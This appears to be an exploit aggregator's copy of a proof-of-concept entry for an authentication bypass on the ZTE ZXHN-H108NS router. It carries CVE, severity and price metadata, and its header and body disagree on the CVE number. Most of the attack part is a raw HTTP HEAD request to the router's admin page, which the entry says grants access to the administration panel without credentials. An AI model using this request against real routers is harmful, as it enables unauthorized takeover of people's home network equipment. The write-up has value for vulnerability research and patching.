ZTE ZXHN-H108NS Authentication Bypass

CVE Category Price Severity
CVE-2016-10401 CWE-287 $2,000 High
Author Risk Exploitation Type Date
Anonymous High Remote 2022-11-21
Our sensors found this exploit at:

Below is a copy:

ZTE ZXHN-H108NS Authentication Bypass
# Exploit Title: Router ZTE-H108NS - Authentication Bypass
# Date: 19-11-2022
# Exploit Author: George Tsimpidas 
# Vendor:
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# CVE: N/A # Tested on: Debian 5.18.5

Description :

When specific http methods are listed within a security constraint,
then only those
methods are protected. Router ZTE-H108NS defines the following http
methods: GET, POST, and HEAD. HEAD method seems to fall under a flawed
operation which allows the HEAD to be implemented correctly with every
Response Status Code.

Proof Of Concept :

Below request bypasses successfully the Basic Authentication, and
grants access to the Administration Panel of the Router.

HEAD /cgi-bin/tools_admin.asp  HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSIONID=1cd6bb77
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

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